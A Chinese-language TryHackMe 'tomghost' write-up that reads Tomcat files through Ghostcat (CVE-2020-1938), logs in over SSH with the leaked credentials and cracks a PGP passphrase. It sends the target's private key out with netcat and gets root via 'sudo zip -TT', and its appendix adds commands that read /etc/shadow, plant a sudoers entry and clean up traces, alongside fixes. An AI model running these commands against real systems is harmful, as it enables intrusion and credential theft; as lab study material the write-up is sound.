## 概述 來源: tryhackme 題目: tomghost 難度: Easy 網址: https://tryhackme.com/room/tomghost 靶機 `10.10.5.203` ### 學習目標 - ajp port:8009 - cve-2020-1938 漏洞 - msfconsole 利用漏洞取得資料 - ssh 登入 - PGP 私鑰利用 - gpg2john 解密 - `/usr/bin/zip` 提權 ## 基本掃描 ### nmap ```!= nmap -sV -sC -v 10.10.5.203 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA) | 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA) |_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519) 53/tcp open tcpwrapped 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: |_ Supported methods: GET HEAD POST OPTIONS 8080/tcp open http Apache Tomcat 9.0.30 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.30 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### gobuster ```!= └─$ gobuster dir -u http://10.10.5.203:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.5.203:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /docs (Status: 302) [Size: 0] [--> /docs/] /examples (Status: 302) [Size: 0] [--> /examples/] /favicon.ico (Status: 200) [Size: 21630] /host-manager (Status: 302) [Size: 0] [--> /host-manager/] /manager (Status: 302) [Size: 0] [--> /manager/] Progress: 4746 / 4747 (99.98%) =============================================================== Finished =============================================================== ``` ## 取得 shell ### ajp 8080 一直找不到破口 後來問了 AI 才發現 ajp 有問題 ```!= 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) ``` > 風險提示 > AJP 端口如果 對外開放,可能被利用: > Ghostcat 漏洞(CVE-2020-1938):允許未授權讀取/寫入 Tomcat 檔案。 > 8009/AJP 通常應只允許 內部網路訪問,不應對外開放。 ### cve-2020-1938 於是查了一下發現真有此漏洞 [cve-2020-1938](https://access.redhat.com/security/cve/cve-2020-1938) 嘗試了幾個 POC 都沒辦成功 QQ #### POC 1 google 找到的 POC https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py ```!= ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ wget https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py --2025-10-23 14:44:26-- https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py Resolving github.com (github.com)... 20.27.177.113 Connecting to github.com (github.com)|20.27.177.113|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: ‘ajpShooter.py’ ajpShooter.py [ <=> ] 222.11K 886KB/s in 0.3s 2025-10-23 14:44:27 (886 KB/s) - ‘ajpShooter.py’ saved [227443] ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ ls ajpShooter.py memo ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ python3 ajpShooter.py -h File "/home/kali/tryhackme/tomghost/ajpShooter.py", line 123 <title>Ghostcat-CNVD-2020-10487/ajpShooter.py at master · 00theway/Ghostcat-CNVD-2020-10487 · GitHub</title> ^ SyntaxError: invalid character '·' (U+00B7) ``` 不知道哪裡做錯還請大神指教 > 後來發現糗了 > **POC 1 下載方式錯誤** > ```bash > wget https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py > ``` > 這個指令會下載 GitHub 的 HTML 頁面,不是原始 Python 檔案。應該改用: > ```bash > wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py > ``` > 確認後的確原本下載的是 html >///< 後續測試成功 read `/WEB-INF/web.xml` ```!= └─$ python3 ajpShooter.py.1 http://10.10.183.181 8009 /WEB-INF/web.xml read /home/kali/tryhackme/tomghost/ajpShooter.py.1:363: SyntaxWarning: invalid escape sequence '\ ' /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test [<] 200 200 [<] Accept-Ranges: bytes [<] ETag: W/"1261-1583902632000" [<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT [<] Content-Type: application/xml [<] Content-Length: 1261 <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to GhostCat skyfuck:8730281lkjlkjdqlksalks </description> </web-app> ``` > 靶機IP換了因為重啟過靶機 #### POC 2 直接用 searchsploit 給的 poc ```!= ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ searchsploit ajp ------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------ --------------------------------- AjPortal2Php - 'PagePrefix' Remote File I | php/webapps/3752.txt Apache Tomcat - AJP 'Ghostcat File Read/I | multiple/webapps/48143.py Apache Tomcat - AJP 'Ghostcat' File Read/ | multiple/webapps/49039.rb ------------------------------------------ --------------------------------- Shellcodes: No Results ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ searchsploit -x multiple/webapps/48143.py Exploit: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion URL: https://www.exploit-db.com/exploits/48143 Path: /usr/share/exploitdb/exploits/multiple/webapps/48143.py Codes: CVE-2020-1938 Verified: False File Type: Python script, ASCII text executable ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ searchsploit -m multiple/webapps/48143.py Exploit: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion URL: https://www.exploit-db.com/exploits/48143 Path: /usr/share/exploitdb/exploits/multiple/webapps/48143.py Codes: CVE-2020-1938 Verified: False File Type: Python script, ASCII text executable Copied to: /home/kali/tryhackme/tomghost/48143.py ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ ls 48143.py ajpShooter.py memo ``` 使用時報錯 QQ ```!= ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ python3 48143.py -h usage: 48143.py [-h] [-p PORT] [-f FILE] target positional arguments: target Hostname or IP to attack options: -h, --help show this help message and exit -p, --port PORT AJP port to attack (default is 8009) -f, --file FILE file path :(WEB-INF/web.xml) └─$ python3 48143.py -p 8009 -f WEB-INF/web.xml 10.10.5.203 Getting resource at ajp13://10.10.5.203:8009/asdf ---------------------------- Traceback (most recent call last): File "/home/kali/tryhackme/tomghost/48143.py", line 302, in <module> print("".join([d.data for d in data])) ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^ TypeError: sequence item 0: expected str instance, bytes found ``` > 其實原本錯誤是 > ```!= > Traceback (most recent call last): > File "/home/kali/tryhackme/tomghost/48143.py", line 295, in <module> > t = Tomcat(args.target, args.port) > File "/home/kali/tryhackme/tomghost/48143.py", line 262, in __init__ > self.stream = self.socket.makefile("rb", bufsize=0) > ``` > 後來把 `48143.py` 改成這樣 > ```!= > self.stream = self.socket.makefile("rb") > ``` > 結果還是報錯QQ 果斷放棄 #### msfconsole 最後直接用 msfconsole ```!= └─$ msfconsole msf6 > search exploit ajp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read 1 exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747 2023-10-26 excellent Yes F5 BIG-IP TMUI AJP Smuggling RCE 2 exploit/linux/http/netgear_unauth_exec 2016-02-25 excellent Yes Netgear Devices Unauthenticated Remote Command Execution Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/netgear_unauth_exec msf6 > use 0 msf6 auxiliary(admin/http/tomcat_ghostcat) > show options Module options (auxiliary/admin/http/tomcat_ghostcat): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME /WEB-INF/web.xml yes File name RHOSTS yes The target host(s), see https://d ocs.metasploit.com/docs/using-met asploit/basics/using-metasploit.h tml RPORT 8009 yes The Apache JServ Protocol (AJP) p ort (TCP) View the full module info with the info, or info -d command. msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.5.203 RHOSTS => 10.10.5.203 msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8009 RPORT => 8009 msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml FILENAME => /WEB-INF/web.xml msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit [*] Running module against 10.10.5.203 <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to GhostCat skyfuck:8730281lkjlkjdqlksalks </description> </web-app> [+] 10.10.5.203:8009 - File contents save to: /home/kali/.msf4/loot/20251023145725_default_10.10.5.203_WEBINFweb.xml_005265.txt [*] Auxiliary module execution completed ``` ### ssh 發現疑似帳號密碼的東西 想說登登看 ssh 沒想到還真的進了 ```!= └─$ ssh skyfuck@10.10.240.145 The authenticity of host '10.10.240.145 (10.10.240.145)' can't be established. ED25519 key fingerprint is SHA256:tWlLnZPnvRHCM9xwpxygZKxaf0vJ8/J64v9ApP8dCDo. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:22: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.240.145' (ED25519) to the list of known hosts. skyfuck@10.10.240.145's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. skyfuck@ubuntu:~$ id uid=1002(skyfuck) gid=1002(skyfuck) groups=1002(skyfuck) ``` > 這裡靶機IP變了 是因為沒截到圖QQ > 後續重開靶機再做一次 ### user.txt ```!= skyfuck@ubuntu:~$ ls credential.pgp tryhackme.asc skyfuck@ubuntu:~$ cd /home skyfuck@ubuntu:/home$ ls merlin skyfuck skyfuck@ubuntu:/home$ cd merlin/ skyfuck@ubuntu:/home/merlin$ ls user.txt skyfuck@ubuntu:/home/merlin$ cat user.txt THM{Gh...sy} ``` ## 提權 掃 sudo 清單 沒料 ```!= skyfuck@ubuntu:~$ sudo -l [sudo] password for skyfuck: Sorry, user skyfuck may not run sudo on ubuntu. ``` 再掃 SUID 權限清單 ```!= skyfuck@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null -ls 260343 44 -rwsr-xr-- 1 root messagebus 42992 Nov 29 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 262319 420 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /usr/lib/openssh/ssh-keysign 260702 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 281830 12 -rwsr-xr-x 1 root root 10624 May 8 2018 /usr/bin/vmware-user-suid-wrapper 262094 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo 260661 56 -rwsr-xr-x 1 root root 54256 Mar 26 2019 /usr/bin/passwd 260790 76 -rwsr-xr-x 1 root root 75304 Mar 26 2019 /usr/bin/gpasswd 262694 40 -rwsr-xr-x 1 root root 40432 Mar 26 2019 /usr/bin/chsh 260657 72 -rwsr-xr-x 1 root root 71824 Mar 26 2019 /usr/bin/chfn 260258 40 -rwsr-xr-x 1 root root 39904 Mar 26 2019 /usr/bin/newgrp 260242 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount 260171 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 260252 28 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /bin/umount 277288 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 260293 40 -rwsr-xr-x 1 root root 40128 Mar 26 2019 /bin/su 260172 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 ``` 看了一下 sudo 版本 嘗試利用 CVE-2019-14287 結果失敗了 ```!= skyfuck@ubuntu:~$ sudo --version Sudo version 1.8.16 Sudoers policy plugin version 1.8.16 Sudoers file grammar version 45 Sudoers I/O plugin version 1.8.16 skyfuck@ubuntu:~$ sudo -u#-1 sudo: unknown user: #-1 sudo: unable to initialize policy plugin skyfuck@ubuntu:~$ sudo -u#4294967295 sudo: unknown user: #4294967295 sudo: unable to initialize policy plugin ``` 於是先看看有時麼其他檔案 ```!= skyfuck@ubuntu:~$ ls credential.pgp tryhackme.asc skyfuck@ubuntu:~$ cat tryhackme.asc -----BEGIN PGP PRIVATE KEY BLOCK----- Version: BCPG v1.63 lQUBBF5ocmIRDADTwu9RL5uol6+jCnuoK58+PEtPh0Zfdj4+q8z61PL56tz6YxmF 3TxA9u2jV73qFdMr5EwktTXRlEo0LTGeMzZ9R/uqe+BeBUNCZW6tqI7wDw/U1DEf ... AKlCbtMLnrDy3kl9+8YjJmyV9pJ2ycv4w+IPYgEAs0g4rLw7W41INOdxFK+iKNbW kG6wLdznOpe4zaLA/vM= =dMrv -----END PGP PRIVATE KEY BLOCK----- skyfuck@ubuntu:~$ cat credential.pgp �a��a�����g▒�ty�S���0��d�_0���QsJ�D+�f���!▒ �I0H:,�o�N������'u�FP:0a�SŠ�u=�:ОЮ�5J:EM,��ҏ�Ѣ ``` 其實當下我不知道這是啥 先看看再說 後來問了 AI 才知道原來 `tryhackme.asc` 是 PGP 私鑰 > PGP 私鑰檔通常以「-----BEGIN PGP PRIVATE KEY BLOCK-----」開頭,並以「-----END PGP PRIVATE KEY BLOCK-----」結尾,這是標準的 ASCII armored 格式,明確表示這是一個私鑰區塊。 > 1. 尋找對應的加密檔案 > ```bash > # 在當前目錄和 home 目錄尋找 .gpg 或 .pgp 檔案 > ls -la > ls -la ~ > find ~ -name "*.gpg" 2>/dev/null > find ~ -name "*.asc" 2>/dev/null > find ~ -name "*.pgp" 2>/dev/null > ``` > 2. 如果找到加密檔案(例如 credential.pgp) > > **先嘗試直接導入和解密:** > ```bash > # 導入私鑰 > gpg --import tryhackme.asc > > # 解密檔案 > gpg --decrypt credential.pgp > ``` ?!這不就剛好有個 `credential.pgp` 在旁邊嗎 馬上來試試 ### gpg 解密 ```!= skyfuck@ubuntu:~$ gpg --import tryhackme.asc gpg: directory `/home/skyfuck/.gnupg' created gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created gpg: key C6707170: secret key imported gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed gpg: Total number processed: 2 gpg: imported: 1 gpg: unchanged: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 skyfuck@ubuntu:~$ gpg --decrypt credential.pgp You need a passphrase to unlock the secret key for user: "tryhackme <stuxnet@tryhackme.com>" 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170) gpg: gpg-agent is not available in this session gpg: Invalid passphrase; please try again ... ``` 結果卡關了,發現還需要一組密碼 > 後來才知道 PGP 私鑰通常有 passphrase 保護,即使匯入了私鑰,解密時仍需提供正確的 passphrase 所以把 `tryhackme.asc` 拿來本機解密 這邊本機先開 nc ```!= └─$ nc -nvlp 1234 > tryhackme.asc listening on [any] 1234 ... connect to [10.4.11.38] from (UNKNOWN) [10.10.5.203] 49886 ``` 再透過靶機把檔案傳過來 ```!= skyfuck@ubuntu:~$ cat tryhackme.asc | nc 10.4.11.38 1234 ``` ### gpg2john 解密 先轉成 john 格式 之後用 john 解密成功 ```!= └─$ gpg2john tryhackme.asc > tryhackme File tryhackme.asc ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ ls 48143.py ajpShooter.py memo tryhackme tryhackme.asc ┌──(kali㉿kali)-[~/tryhackme/tomghost] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 65536 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status alexandru (tryhackme) 1g 0:00:00:00 DONE (2025-10-23 15:17) 50.00g/s 57600p/s 57600c/s 57600C/s kucing..summer1 Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` > AI 建議檔名命名為 `tryhackme.hash` > 這樣更清楚是 hash 檔案,避免跟原始的 .asc 檔混淆。 > ```!= > └─$ gpg2john tryhackme.asc > tryhackme.hash > ``` 回來再解碼一次 `credential.pgp` 輸入密碼成功破解 又取得了一組密碼 ```!= skyfuck@ubuntu:~$ gpg --decrypt credential.pgp You need a passphrase to unlock the secret key for user: "tryhackme <stuxnet@tryhackme.com>" 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170) gpg: gpg-agent is not available in this session gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 "tryhackme <stuxnet@tryhackme.com>" merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j ``` 我也猜這是 ssh ```!= ┌──(kali㉿kali)-[~] └─$ ssh merlin@10.10.5.23 ``` 不知為何卡死 > 後來才知道又犯蠢 IP打錯了 應該是 `10.10.5.203` > 難怪卡死 後來想到可以試試 su 竟然成功登入了 ```!= skyfuck@ubuntu:~$ su merlin Password: merlin@ubuntu:/home/skyfuck$ id uid=1000(merlin) gid=1000(merlin) groups=1000(merlin),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare) ``` ### sudo -l 第二次 想說換了使用者再掃看看 sudo 竟然有了 ```!= merlin@ubuntu:~$ sudo -l Matching Defaults entries for merlin on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User merlin may run the following commands on ubuntu: (root : root) NOPASSWD: /usr/bin/zip ``` 查了一下 `/usr/bin/zip` 提權 [參考大神](https://blog.csdn.net/qq_42084004/article/details/102609319) ```!= merlin@ubuntu:~$ sudo zip foo /etc/hosts -T -TT 'bash #' updating: etc/hosts (deflated 31%) root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root) ``` ### root.txt ```!= root@ubuntu:~# cat /root/root.txt THM{Z1...KE} ``` ## 補充 ### CVE-2020-1938 漏洞原理 #### 什麼是 AJP 協議? AJP (Apache JServ Protocol) 是一個二進制協議,用於 Web 伺服器(如 Apache)與應用伺服器(如 Tomcat)之間的通訊。 - 預設監聽在 **8009 端口** - 設計目的是內部網路使用,**不應對外開放** - 比 HTTP 協議更高效,常用於負載均衡 #### Ghostcat 漏洞成因 1. **檔案讀取漏洞**: - Tomcat AJP Connector 預設配置存在缺陷 - 攻擊者可以透過 AJP 協議發送特製請求 - 能夠讀取 webapp 目錄下的任意檔案,包括 WEB-INF 目錄 2. **關鍵問題**: ``` WEB-INF/web.xml - 包含應用配置、資料庫連線資訊、帳號密碼 WEB-INF/classes/ - Java class 檔案 *.jsp - 原始碼檔案 ``` 3. **攻擊流程**: ``` 攻擊者 → AJP:8009 → 發送惡意請求 → 讀取敏感檔案 → 獲取憑證 ``` #### 影響版本 - Apache Tomcat 9.0.0.M1 到 9.0.0.30 - Apache Tomcat 8.5.0 到 8.5.50 - Apache Tomcat 7.0.0 到 7.0.99 - Apache Tomcat 6.x (已停止維護) #### 修復方法 1. 升級 Tomcat 到安全版本 2. 限制 AJP 端口僅內部訪問 3. 在 server.xml 中設置: ```xml <Connector port="8009" protocol="AJP/1.3" address="127.0.0.1" secretRequired="true" secret="your_secret_here" /> ``` #### 本題利用 在這題中,我們透過讀取 `/WEB-INF/web.xml` 檔案,成功獲取了: ```xml <description> Welcome to GhostCat skyfuck:8730281lkjlkjdqlksalks </description> ``` 這組憑證讓我們得以 SSH 登入系統。 ### /usr/bin/zip 提權原理 #### 為什麼 zip 可以提權? 當使用者可以以 root 身份執行 `/usr/bin/zip` 時,可以利用其 `-T` 和 `-TT` 參數來執行任意命令。 #### 參數說明 ```bash -T, --test 測試壓縮檔的完整性 -TT cmd 在測試完成後執行指定的命令 cmd ``` #### 提權過程分析 ```bash sudo zip foo /etc/hosts -T -TT 'bash #' ``` **執行步驟拆解:** 1. `sudo zip foo /etc/hosts` - 以 root 權限執行 zip - 建立名為 foo.zip 的壓縮檔 - 壓縮 /etc/hosts 檔案 2. `-T` - 啟用測試模式 - zip 會檢查壓縮檔完整性 3. `-TT 'bash #'` - 測試完成後執行 `bash #` 命令 - `#` 符號會註解掉後面的內容,避免報錯 - 因為是用 sudo 執行,bash 會以 **root 身份啟動** #### 關鍵點 - zip 在執行 `-TT` 指定的命令時,**繼承了 sudo 的權限** - 新啟動的 bash shell 擁有 root 權限 - 這是一個典型的 **指令注入** (Command Injection) 提權方式 #### 其他可利用的方式 ```bash # 方法 1: 直接獲取 root shell sudo zip foo /etc/hosts -T -TT 'sh #' # 方法 2: 讀取敏感檔案 sudo zip foo /etc/hosts -T -TT 'cat /etc/shadow #' # 方法 3: 新增 sudo 使用者 sudo zip foo /etc/hosts -T -TT 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers #' ``` #### 防禦建議 1. **最小權限原則**: 不要給使用者不必要的 sudo 權限 2. **限制參數**: 如果必須給予 zip 權限,應限制可用參數: ``` user ALL=(ALL) NOPASSWD: /usr/bin/zip -r * ``` 3. **使用白名單**: 只允許特定的壓縮操作 4. **定期審查**: 檢查 `/etc/sudoers` 設定 #### GTFOBins 這類可以用於提權的二進制檔案,可以在 [GTFOBins](https://gtfobins.github.io/) 網站查詢: - GTFOBins 收錄了大量可用於繞過安全限制的 Unix 二進制檔案 - 包括: zip, tar, vim, find, python 等 - 每個都有詳細的利用方式說明 #### 延伸閱讀 類似的可提權工具還有: - `/usr/bin/tar` - 可使用 checkpoint 參數執行命令 - `/usr/bin/git` - 可透過 pager 參數執行命令 - `/usr/bin/vim` - 可在 vim 中執行 shell 命令 - `/usr/bin/find` - 可使用 -exec 參數執行命令 #### 補充: GTFOBins 的標準寫法 GTFOBins 網站推薦使用更嚴謹的寫法: ```!= TF=$(mktemp -u) # 產生唯一臨時檔名 sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF # 清理痕跡 ``` **與簡化版的差異:** - ✅ 使用 `mktemp -u` 產生唯一檔名,避免檔名衝突 - ✅ 檔案建立在 `/tmp`,不依賴當前目錄權限 - ✅ 最後清理檔案,不留痕跡 - ✅ 使用 `sh` 而非 `bash`,相容性更好 - ✅ 可重複執行,適合腳本化 **本次練習中使用簡化版的原因:** 在學習環境中,簡化版 `sudo zip foo /etc/hosts -T -TT 'bash #'` 更直觀易懂, 但在實戰或 CTF 比賽中,建議使用 GTFOBins 的標準寫法。 ```!= # 方法 1: GTFOBins 標準寫法 (推薦) merlin@ubuntu:~$ TF=$(mktemp -u) merlin@ubuntu:~$ echo $TF /tmp/tmp.7xK2pQm3vR merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #' updating: etc/hosts (deflated 31%) # id uid=0(root) gid=0(root) groups=0(root) # exit merlin@ubuntu:~$ sudo rm $TF merlin@ubuntu:~$ ls $TF ls: cannot access /tmp/tmp.7xK2pQm3vR: No such file or directory # 方法 2: 簡化寫法 (你用的) merlin@ubuntu:~$ sudo zip foo /etc/hosts -T -TT 'bash #' updating: etc/hosts (deflated 31%) root@ubuntu:~# exit merlin@ubuntu:~$ ls -la foo.zip -rw-r--r-- 1 root root 233 Oct 23 16:30 foo.zip # 檔案還在! ```